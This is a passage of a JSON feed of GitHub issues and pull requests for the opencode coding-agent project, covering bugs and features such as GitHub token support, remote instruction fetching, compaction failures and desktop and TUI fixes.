`resolveAgent()`: ``` agent \"my-custom-agent\" not found. Falling back to default agent agent \"my-custom-agent\" is a subagent, not a primary agent. Falling back to default agent ``` Confirm **neither** appears — ruling out a simple lookup/validation failure. 7. As a control, run the same agent locally on the same `opencode` version, bypassing the Action entirely: ``` opencode run \"Reply with the agent persona you're running as.\" --agent my-custom-agent --format json ``` 8. Confirm the local CLI invocation correctly applies `my-custom-agent` (its response reflects the agent's system prompt), proving the agent config itself is valid and the bug is isolated to the `github run` code path, not general agent resolution. ### Screenshot and/or share link _No response_ ### Operating System Debian 13 ### Terminal xterm-256color ### Workaround To still enable an custom agent per job, extend the workflow yml with the following overrid ```yaml - uses: anomalyco/opencode/github@latest env: OPENCODE_CONFIG_CONTENT: '{\"default_agent\": \"<my-custom-agent>\"}' with: model: <provider>/<model> ```",
          "url": "https://github.com/anomalyco/opencode/issues/36504",
          "createdAt": "2026-07-12T10:18:57Z",
          "updatedAt": "2026-08-13T17:06:11Z",
          "timestamp": "2026-08-13T17:06:11Z",
          "metrics": {
            "reactions": 1,
            "comments": 2
          },
          "labels": [],
          "author": "SnixDev",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:76aebb368201f081f746",
        "signalId": "github:anomalyco/opencode:issue:39517",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:39517",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Support private GitHub repos in opencode.json instructions remote URLs",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. --- ### Problem The `instructions` field in `opencode.json` supports remote URLs, but only does an unauthenticated HTTP GET. Private repos — where most organizations keep their shared coding guidelines — return 404, making this feature useless for internal knowledge bases. See current, public only, documentation: [Referencing External Files](https://opencode.ai/docs/rules/#referencing-external-files) ### Proposal When `instructions` contains a `github.com` URL (including `raw.githubusercontent.com`), OpenCode should authenticate automatically by resolving a token from a transparent fallback chain: 1. **`GITHUB_TOKEN` env var** — already set in shell profile (`.zshrc`, `.bashrc`) or CI 2. **`.env` file** at project root — for project-level secrets 3. **`~/.config/gh/hosts.yml`** — auto-detect from the GitHub CLI (`gh auth login`) No configuration change needed. Auth is transparent — the token is resolved at fetch time and sent as `Authorization: Bearer`. The `instructions` field stays as `string[]`, fully backward compatible. **How it works:** - If `GITHUB_TOKEN` is set in your environment → it works immediately, zero config - If not → drop a `.env` file with `GITHUB_TOKEN=ghp_xxx` at the project root - If neither → `gh auth login` once, and the token is extracted from `~/.config/gh/hosts.yml` - If all sources are empty → OpenCode logs a warning and fetches without auth (URL returns 404) ### Scope - Only attach `Authorization` header to `github.com` URLs (prevents token leakage to arbitrary domains) - `.env` file missing → no error, continue to next source - `~/.config/gh/hosts.yml` missing → no error, continue to next source - All sources empty → log warning, fetch without auth - No caching — each request resolves fresh (add only if performance becomes an issue) - No per-instruction config — auth is transparent, no config type change - No new npm packages — inline parsers, no dependencies - No `gh` CLI dependency — read its config file directly with regex - No token in logs — warnings say \"no token found for URL\", not the token value - Cross-platform: `os.homedir()` resolves on macOS, Linux, Windows ### Architecture ```mermaid graph TD A[\"fetch\"] --> B[\"resolveToken\"] B --> C[\"Env.get(GITHUB_TOKEN)\"] B --> D[\"parseEnvFile(cwd)\"] B --> E[\"parseGhConfig()\"] C --> F{\"token found?\"} D --> F E --> F F -->|yes| G[\"fetch with Authorization header\"] F -->|no| H[\"fetch without auth\"] ``` ### Why Matters Organizations that maintain internal coding standards in private GitHub repos can't use the `instructions` field to keep agents aligned. Every team member currently has to clone the repo locally and manage `{file:}` paths, or rely on manual AGENTS.md instructions telling the agent to self-fetch via MCP. Neither scales. With this change, one `gh auth login` (or one env var) and you're done. --- @kitlangton please let me know if this is a viable feature, any additional feedback, and if I can take a pass at submitting a PR for this.",
          "url": "https://github.com/anomalyco/opencode/issues/39517",
          "createdAt": "2026-07-29T13:02:29Z",
          "updatedAt": "2026-08-13T17:06:09Z",
          "timestamp": "2026-08-13T17:06:09Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "Insighttful",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:f09ab7d1dfea77273d7e",
        "signalId": "github:anomalyco/opencode:issue:40589",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:40589",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]: Support GITHUB_TOKEN in install script (API rate limit + private repos)",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request The `install` script makes three anonymous GitHub requests: 1. Version detection: `curl -s https://api.github.com/repos/anomalyco/opencode/releases/latest` 2. Release existence check: `curl -sI .../releases/tag/v<ver>` 3. Release asset download: `curl -L .../releases/download/...` Anonymous calls to `api.github.com` are rate-limited to 60/hour per IP. On shared CI runners this limit is often exhausted, so the version fetch fails and the install aborts (same root cause as #35120 for `github/action.yml`). Anonymous requests also make it impossible to install opencode from a private fork or mirror. Proposal: if `$GITHUB_TOKEN` is set, send an `Authorization: Bearer $GITHUB_TOKEN` header on all three curl calls. Behavior is unchanged when the variable is empty.",
          "url": "https://github.com/anomalyco/opencode/issues/40589",
          "createdAt": "2026-08-05T05:36:31Z",
          "updatedAt": "2026-08-13T17:06:08Z",
          "timestamp": "2026-08-13T17:06:08Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "rwenz2004",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:d74df5bfe5dfef7f295b",
        "signalId": "github:anomalyco/opencode:issue:36260",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:36260",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Bug: opencode upgrade fails with 403 Forbidden due to GitHub API Rate Limit (lack of GITHUB_TOKEN/GH_TOKEN environment variable support)",
          "text": "### Describe the bug Running `opencode upgrade` fails with an unexpected 403 HTTP status code when the GitHub API Rate Limit for unauthenticated requests from the client IP address is exhausted. This happens because the upgrade command queries `https://api.github.com/repos/anomalyco/opencode/releases/latest` using an unauthenticated request (without passing authorization headers). ### To Reproduce 1. Exhaust the GitHub API rate limit for unauthenticated requests from your current IP (e.g., behind a residential CGNAT or a shared public gateway). 2. Run: ```bash opencode upgrade ``` 3. Observe the output: ``` ● Using method: curl Error: Unexpected error StatusCode: non 2xx status code (403 GET https://api.github.com/repos/anomalyco/opencode/releases/latest) ``` ### Expected behavior The upgrade tool should check if standard industry environment variables `GITHUB_TOKEN` or `GH_TOKEN` are present in the shell environment. If found, it should inject them as an `Authorization: token <TOKEN>` header in its API requests to api.github.com. This is standard practice for CLI utilities to leverage the higher authenticated rate limits (5,000 requests/hr) and avoid unauthenticated blockages on shared IPs. ### Environment - OS: Linux Mint 21.3 (x86-64) - OpenCode Version: 1.17.15 - Connection Method: curl",
          "url": "https://github.com/anomalyco/opencode/issues/36260",
          "createdAt": "2026-07-10T14:13:59Z",
          "updatedAt": "2026-08-13T17:06:06Z",
          "timestamp": "2026-08-13T17:06:06Z",
          "metrics": {
            "reactions": 2,
            "comments": 3
          },
          "labels": [],
          "author": "estudiochapunov",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:6624d48dc2d3f638f8fb",
        "signalId": "github:anomalyco/opencode:issue:23461",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:23461",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "opencode upgrade fails with 403 (doesn't respect GITHUB_TOKEN)",
          "text": "### Describe the bug When running `opencode upgrade` from behind a proxy/VPN, the command frequently fails with a 403 error due to GitHub API rate limiting for unauthenticated requests (60 requests/hour/IP). The command appears to make an anonymous request to `https://api.github.com/repos/anomalyco/opencode/releases/latest`. Even if the user has a valid `GITHUB_TOKEN` exported in their environment, or is authenticated via the GitHub CLI (`gh auth login`), `opencode` does not seem to utilize these credentials to authenticate the API request. ### Steps to reproduce 1. Connect to a shared proxy/VPN (to simulate an IP with exhausted unauthenticated GitHub API limits). 2. Export a valid `GITHUB_TOKEN` or authenticate with `gh auth login`. 3. Run `opencode upgrade` 4. See error: ``` Error: Unexpected error, check log file... StatusCode: non 2xx status code (403 GET https://api.github.com/repos/anomalyco/opencode/releases/latest) ``` ### Expected behavior `opencode upgrade` should check for the `GITHUB_TOKEN` environment variable and use it to authenticate the request to the GitHub API. This would increase the rate limit to 5000/hour and prevent rate limiting for users behind shared proxies. ### Environment - OS: Linux - OpenCode Version: 1.14.18",
          "url": "https://github.com/anomalyco/opencode/issues/23461",
          "createdAt": "2026-04-20T01:04:10Z",
          "updatedAt": "2026-08-13T17:06:05Z",
          "timestamp": "2026-08-13T17:06:05Z",
          "metrics": {
            "reactions": 2,
            "comments": 4
          },
          "labels": [],
          "author": "KaysonSear",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:705431b5289d4d17ad1d",
        "signalId": "github:anomalyco/opencode:issue:39789",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:39789",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "GitHub Action ignores GHES API endpoint variables",
          "text": "### Description The GitHub Action creates its REST and GraphQL clients with GitHub.com defaults even when GitHub Actions provides `GITHUB_API_URL` and `GITHUB_GRAPHQL_URL` on GHES. REST requests can therefore target GitHub.com, while deriving GraphQL from the REST endpoint would also use the wrong GHES path. ### Plugins None ### OpenCode version Current `dev` branch ### Steps to reproduce 1. Run the GitHub Action on GHES with `GITHUB_API_URL` ending in `/api/v3` and `GITHUB_GRAPHQL_URL` ending in `/api/graphql`. 2. Trigger a code path that makes REST and GraphQL requests. 3. Observe that the clients do not use those endpoints. ### Screenshot and/or share link Not applicable ### Operating System GitHub Actions runner ### Terminal Not applicable",
          "url": "https://github.com/anomalyco/opencode/issues/39789",
          "createdAt": "2026-07-31T01:49:30Z",
          "updatedAt": "2026-08-13T17:05:23Z",
          "timestamp": "2026-08-13T17:05:23Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "rover0811",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:4a7df2a9901254cb3cbf",
        "signalId": "github:anomalyco/opencode:pull_request:42364",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42364",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(desktop): ignore packaged renderer override",
          "text": "## Summary - ignore `ELECTRON_RENDERER_URL` in packaged desktop applications - use one guarded parser for both renderer loading and trusted-origin checks - preserve the override for local Electron development - cover development, packaged, and invalid URL behavior ## Why The packaged app previously honored an environment-provided renderer URL and then treated that URL as trusted. A process launcher or inherited environment could therefore load remote content into the main window with the privileged preload bridge. Development overrides should never change packaged renderer code or its trust boundary. ## Testing - `bun typecheck` (packages/desktop) - 70 desktop tests passed - 3 focused renderer-URL policy tests passed - Prettier and `git diff --check` Requested by: @Hona (Luke Parker via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42364",
          "createdAt": "2026-08-13T17:03:46Z",
          "updatedAt": "2026-08-13T17:03:54Z",
          "timestamp": "2026-08-13T17:03:54Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:6cc3fd941edb9b194ff3",
        "signalId": "github:anomalyco/opencode:issue:42363",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42363",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "DeepSeek compaction can get stuck replaying reasoning/tool history instead of producing a summary",
          "text": "### Description Description Automatic compaction can become stuck when using a DeepSeek reasoning model through an OpenAI-compatible provider. I reproduced this twice. Instead of producing a compaction summary, the model starts continuing patterns from the conversation history inside its reasoning, including sequences that look like prior tool calls and tool results. The compaction request never successfully completes, no summary is stored, and the session becomes effectively unusable. Environment * OpenCode: 1.18.15 * Model: DeepSeek V4 Flash * Provider: `@ai-sdk/openai-compatible` * Context limit: 262144 * Output limit: 65536 * macOS Verified: Inspected: * OpenCode's SQLite session database * OpenCode logs * the installed OpenCode binary * the serialized session history * the inference backend logs For one reproduced session, the sequence was: * A normal assistant request completed successfully with `reason=tool-calls` * OpenCode created a compaction marker: `{\"type\":\"compaction\",\"auto\":true,\"overflow\":false}` * An assistant message with `agent=compaction` was started * The compaction request ran for several minutes and was eventually aborted * The compaction assistant message contained a large reasoning part * No completed summary was produced * No normal post-compaction message was created The failure therefore occurs during the compaction request itself, not after a successful compaction. ## Relevant behavior The history rendered into the compaction prompt includes hidden assistant reasoning and tool interaction history, for example: `[Assistant reasoning]: ...` `[Assistant tool call]: ...` `[Tool result]: ...` During the failed compaction, the model began generating similar structures inside its own reasoning instead of producing the requested summary. For example, it repeatedly generated content resembling: `[Assistant tool call]: bash(...)` followed by synthetic-looking tool-result text such as: `The user wants to continue the investigation...` These were not real tool executions. The synthetic text was not present in the stored tool results and was not found as a hardcoded OpenCode template. It was generated by the model while processing the compaction prompt. The same general failure mode occurred in a second independent session. ## Expected behavior The compaction agent should summarize the visible conversation history and return a completed summary. Hidden reasoning from previous assistant turns should not be necessary for summarization, and should not cause the compaction model to continue prior agent/tool behavior. ikely cause The compaction history renderer includes hidden assistant reasoning when constructing the summarization prompt. For reasoning models such as DeepSeek, replaying this hidden reasoning and tool-oriented history appears capable of causing the model to continue the prior reasoning/tool pattern rather than follow the summarization instruction. This is closely related to #31188, although the failure mode is different. In #31188, replayed reasoning causes Anthropic extended-thinking requests to fail because reasoning metadata/signatures are no longer valid. In this case, the request is accepted, but the DeepSeek model begins continuing the injected reasoning/tool history and never produces the compaction summary. Both cases suggest that hidden reasoning should not be included in compaction input. Possible fix A likely fix is to exclude assistant reasoning parts when constructing the history sent to the compaction agent. This is similar to the `stripReasoning` approach proposed in #31188. Tool history may also need to be rendered so that the compaction prompt cannot resemble an unfinished assistant/tool continuation. I have not modified OpenCode, so I cannot yet confirm which exact change is sufficient. Related issues * #31188 - Related underlying issue: assistant reasoning is replayed into compaction input. Different failure mode. * #22329 - Similar DeepSeek/compaction loop behavior, but the observed mechanism appears different. Workaround Disabling automatic compaction avoids this failure: ```json \"compaction\": { \"auto\": false, \"prune\": false } ``` This is only a workaround, since automatic compaction is then unavailable for long-running sessions. ### Plugins None ### OpenCode version 1.18.15 ### Steps to reproduce _No response_ ### Screenshot and/or share link 1. Configure OpenCode with a DeepSeek reasoning model through an OpenAI-compatible provider. Example relevant config: \"provider\": { \"ds4\": { \"npm\": \"@ai-sdk/openai-compatible\", \"options\": { \"baseURL\": \"http://127.0.0.1:8000/v1\" }, \"models\": { \"deepseek-v4-flash\": { \"limit\": { \"context\": 262144, \"output\": 65536 } } } } }, \"model\": \"ds4/deepseek-v4-flash\", \"compaction\": { \"auto\": true, \"prune\": false, \"reserved\": 16000 } 2. Start a long-running agent session that contains multiple reasoning turns and tool calls. 3. Continue until OpenCode triggers automatic compaction. 4. Observe the compaction request. 5. In the reproduced failures, instead of producing a summary, the DeepSeek model starts continuing patterns from the injected conversation history inside its reasoning, including text resembling: [Assistant tool call]: ... [Tool result]: ... 6. The compaction request does not successfully produce a summary and the session becomes unusable. This has been reproduced in two independent sessions. Inspection of OpenCode's stored session data showed that the failure occurs inside the compaction request itself. The compaction history includes previous hidden assistant reasoning and tool-call history. During the failed compaction, the model begins continuing those patterns instead of following the summarization instruction. ### Operating System MacOs 26.6.1 ### Terminal Terminal.app on macOS",
          "url": "https://github.com/anomalyco/opencode/issues/42363",
          "createdAt": "2026-08-13T16:55:24Z",
          "updatedAt": "2026-08-13T17:00:28Z",
          "timestamp": "2026-08-13T17:00:28Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "scalpe1",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:9af1a9d8989fbfcaaa14",
        "signalId": "github:anomalyco/opencode:pull_request:42355",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42355",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(config): tolerate missing file variables in config",
          "text": "### Issue for this PR Fixes/Closes #15033 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Makes missing `{file:...}` config variables resolve to an empty string instead of failing opencode start when file is not present. Existing file references are still read normally, and non-missing file read errors remain fatal (eg permissions problems). ### How did you verify your code works? - Ran: `bun test --timeout 30000 test/config/config.test.ts` — passed - Ran: `bun typecheck` — passed - Ran dev TUI: `bun dev /home/myuser/myproject` where project-local `opencode.json` has missing file from `{file:path}` in MCP section. Command succeeded, opencode loaded, MCPs were off (not all config entries properly set). Compared with `opencode /home/myuser/myproject` and it fails to start (treats missing files as fatal). ### Screenshots / recordings _If this is a UI change, please include a screenshot or recording._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
          "url": "https://github.com/anomalyco/opencode/pull/42355",
          "createdAt": "2026-08-13T16:26:13Z",
          "updatedAt": "2026-08-13T17:00:25Z",
          "timestamp": "2026-08-13T17:00:25Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "stone-w4tch3r",
          "state": "open",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:db92042bfd6e4c73fc63",
        "signalId": "github:anomalyco/opencode:pull_request:42358",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42358",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): graduate per-tab prompt drafts",
          "text": "## What Make unsent prompt drafts belong to the tab where they were written. Session tabs and the home tab now restore only their own drafts, with no experiment toggle required. The experiment framework remains available in DevTools for future flags. Its registry is currently empty, so the Experiments pane shows an explicit `No experiments available` state without filter or toggle controls. ## How - Key the prompt draft stash unconditionally by session ID, using `undefined` internally for the home tab. - Remove the former global draft slot and graduate `tab_drafts` out of the experiment registry. - Preserve the generic boolean experiment config, registry mapping, persistence, and keyboard controls for future entries. - Suppress filter and change controls while the experiment registry is empty. - Keep focused coverage for tab isolation, home drafts, one-time restoration, and replacement. ## Scope This changes the V2 TUI's in-memory prompt draft behavior only. It does not add persistence across process restarts. ## Testing - `bun run test test/prompt/draft-stash.test.ts test/config-v2.test.tsx` from `packages/tui` (17 passed) - `bun typecheck` from `packages/tui` - Push hook workspace typecheck (34 packages passed) - `bun run lint -- packages/tui/src/component/dialog-experiments.tsx packages/tui/src/component/prompt/draft-stash.ts packages/tui/src/component/prompt/index.tsx packages/tui/src/config/index.tsx packages/tui/test/prompt/draft-stash.test.ts` (0 errors; 14 pre-existing warnings in `prompt/index.tsx`)",
          "url": "https://github.com/anomalyco/opencode/pull/42358",
          "createdAt": "2026-08-13T16:34:58Z",
          "updatedAt": "2026-08-13T16:57:55Z",
          "timestamp": "2026-08-13T16:57:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:f06d826f37e024029480",
        "signalId": "github:anomalyco/opencode:issue:15033",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:15033",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Missing {file:} reference causes entire agent config to fail",
          "text": "## Summary When an `opencode.json` contains a `{file:./path}` reference that doesn't exist on disk, OpenCode rejects the **entire** agent configuration with a hard error: ``` Error: Configuration is invalid at /var/www/extrachill.com/opencode.json: bad file reference: \"{file:./AGENTS.md}\" /var/www/extrachill.com/AGENTS.md does not exist ``` This means no agent files get loaded at all — including the ones that DO exist. ## Expected Behavior A missing `{file:}` reference should either: 1. Be treated as a soft warning (skip the missing file, load the rest) 2. Resolve to empty string with a logged warning The current behavior silently breaks the entire agent context because one optional file is missing. ## Reproduction 1. Create `opencode.json` with multiple `{file:}` references in `agent.build.prompt` 2. Ensure one of the referenced files doesn't exist 3. Run `opencode agent list` or start a session ## Context This came up in a wp-opencode setup where `AGENTS.md` wasn't created (setup script crashed before that phase), but the DM agent files (SOUL.md, USER.md, MEMORY.md) all existed. The single missing file caused none of them to be injected.",
          "url": "https://github.com/anomalyco/opencode/issues/15033",
          "createdAt": "2026-02-25T07:58:11Z",
          "updatedAt": "2026-08-13T16:57:49Z",
          "timestamp": "2026-08-13T16:57:49Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "chubes4",
          "state": "closed",
          "assignees": [
            "kitlangton"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:4c9a1e2dcb02f9d49b85",
        "signalId": "github:anomalyco/opencode:issue:42361",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42361",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]:me pagaron el open code go y me da error en todos los modelos",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request me d el siguiente eror The latest version of this model is only available hosted in China and requires explicit opt in: https://opencode.ai/workspace/wrk_01KZW3YQT6623SMXV5WG7BXM4X/go ya en la pagina de pago puse que habilitara china como proveeedor ya limpie cache intente poner de nuevo la llave todo por gusto puedieran darme una guia despasito de como solucionar mi problema",
          "url": "https://github.com/anomalyco/opencode/issues/42361",
          "createdAt": "2026-08-13T16:49:07Z",
          "updatedAt": "2026-08-13T16:53:45Z",
          "timestamp": "2026-08-13T16:53:45Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "needs:compliance"
          ],
          "author": "dailoth",
          "state": "open",
          "assignees": [
            "fwang"
          ],
          "change": "new"
        }
      },
      {
        "id": "event:53a697a8b391d69a11a2",
        "signalId": "github:anomalyco/opencode:pull_request:42356",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42356",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): preserve unicode in grep previews",
          "text": "## What Prevent oversized Ripgrep line previews from persisting half of a Unicode character. A malformed preview could display as `�` and poison subsequent provider requests. ## Before / After **Before** A grep match longer than 2,000 JavaScript string units could place an emoji across the preview boundary. `slice(0, 2_000)` retained only the emoji's first UTF-16 code unit, which JSON serialized as an unpaired `\\ud83d`. The TUI displayed a replacement character, and OpenAI rejected later requests with HTTP 400 because the request body was not valid Unicode JSON. **After** When the preview cutoff lands after the first half of a Unicode character, Ripgrep drops that incomplete code unit before appending the truncation marker. Persisted tool output remains valid Unicode and can be submitted to providers. ## How - `packages/core/src/ripgrep.ts`: remove a trailing unmatched high-surrogate code unit from truncated line previews. - `packages/core/test/ripgrep.test.ts`: cover an emoji crossing the exact 2,000-unit preview boundary. ## Scope This fixes the producer that created the malformed durable tool output. It does not add a provider-request sanitizer or rewrite existing session history. ## Testing - `bun run test test/ripgrep.test.ts` from `packages/core`: 3 passed - `bun typecheck` from `packages/core`: passed - Push hook workspace typecheck: 30 packages passed - End-to-end A/B replay against OpenAI: - original exported history containing one unpaired `\\ud83d`: HTTP 400 `Invalid body: failed to parse JSON value` - identical history with only that unpaired code unit removed: normal assistant response",
          "url": "https://github.com/anomalyco/opencode/pull/42356",
          "createdAt": "2026-08-13T16:29:30Z",
          "updatedAt": "2026-08-13T16:51:44Z",
          "timestamp": "2026-08-13T16:51:44Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "new"
        }
      },
      {
        "id": "event:59dd0ab0164fda944e35",
        "signalId": "github:anomalyco/opencode:pull_request:42339",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "title",
          "text",
          "updatedAt"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42339",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): separate shell working directory from command",
          "text": "## Summary - retain a differing shell working directory as subdued context above the command - remove the gap between working directory and command while preserving the existing input/output gap - keep the running spinner and completed `$` prompt in the same command slot, without splitting the card into narrow columns ## Checks - `bun typecheck` (`packages/tui`) - `bun test test/mini/entry.body.test.ts test/mini/scrollback.surface.test.ts` (`packages/tui`) - rendered in the real V2 tool card with a wrapped multi-line command Requested by: @jlongster (James Long via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42339",
          "createdAt": "2026-08-13T14:32:59Z",
          "updatedAt": "2026-08-13T16:50:00Z",
          "timestamp": "2026-08-13T16:50:00Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:e042fe30ba269b69968b",
        "signalId": "github:anomalyco/opencode:issue:42334",
        "event": "changed",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [
          "updatedAt",
          "metrics",
          "labels",
          "state"
        ],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42334",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": ".18更新完毕后，使用中开始频繁将客户端弹出和前置窗口到顶部",
          "text": "[opencode-debug-20260813T141410.zip](https://github.com/user-attachments/files/31032414/opencode-debug-20260813T141410.zip)",
          "url": "https://github.com/anomalyco/opencode/issues/42334",
          "createdAt": "2026-08-13T14:17:19Z",
          "updatedAt": "2026-08-13T16:47:22Z",
          "timestamp": "2026-08-13T16:47:22Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "KandaSora",
          "state": "closed",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:0bf0db2876fe9367b3eb",
        "signalId": "github:anomalyco/opencode:issue:42359",
        "event": "discovered",
        "observedAt": "2026-08-13T17:43:20.785491Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42359",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Response text leaks into tool call parameters — malformed API calls with prose as parameter values",
          "text": "### Description When using local models (tested: qwen3.6-27b-mtp), opencode incorrectly parses model response text as tool call parameters. The parser appears to detect a tool name in the output, then captures surrounding prose as parameter values instead of treating it as plain text. Observed behavior: Tool calls appear with libraryId or other parameters containing my actual response prose (e.g., \"Library ID: /function_calls> block.\\n\\n**fixes applied...\"`) Results in invalid API errors like Invalid library ID format or Library not found Happens spontaneously during normal conversation — no user action triggers it Occurs across multiple sessions, started after updating to latest version today Expected behavior: Response text should be displayed as output. Tool calls should only be invoked when the model explicitly emits a tool call structure with valid parameters. Environment Model: qwen3.6-27b-mtp (local, via LM Studio localhost:1234) OS: Windows 11 MCP Servers: context7 (documentation lookup) opencode version: Latest (updated today) Additional Notes This appears to be a stream parsing issue where the boundary between \"text output\" and \"tool call invocation\" is not being correctly identified. The parser may be over-eagerly matching tool names within prose content, then capturing adjacent text as parameters. ### Plugins opencode-working-memory ### OpenCode version _No response_ ### Steps to reproduce Steps to Reproduce Start opencode with a local model (qwen3.6-27b-mtp via LM Studio) Engage in multi-turn conversation involving code analysis or documentation lookup After several exchanges, observe malformed tool calls where parameter values contain the model's prose response text rather than actual parameter data The error appears as Invalid library ID format or similar validation failures on tools like context7_query_docs ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal opencode desktop",
          "url": "https://github.com/anomalyco/opencode/issues/42359",
          "createdAt": "2026-08-13T16:38:17Z",
          "updatedAt": "2026-08-13T16:40:32Z",
          "timestamp": "2026-08-13T16:40:32Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
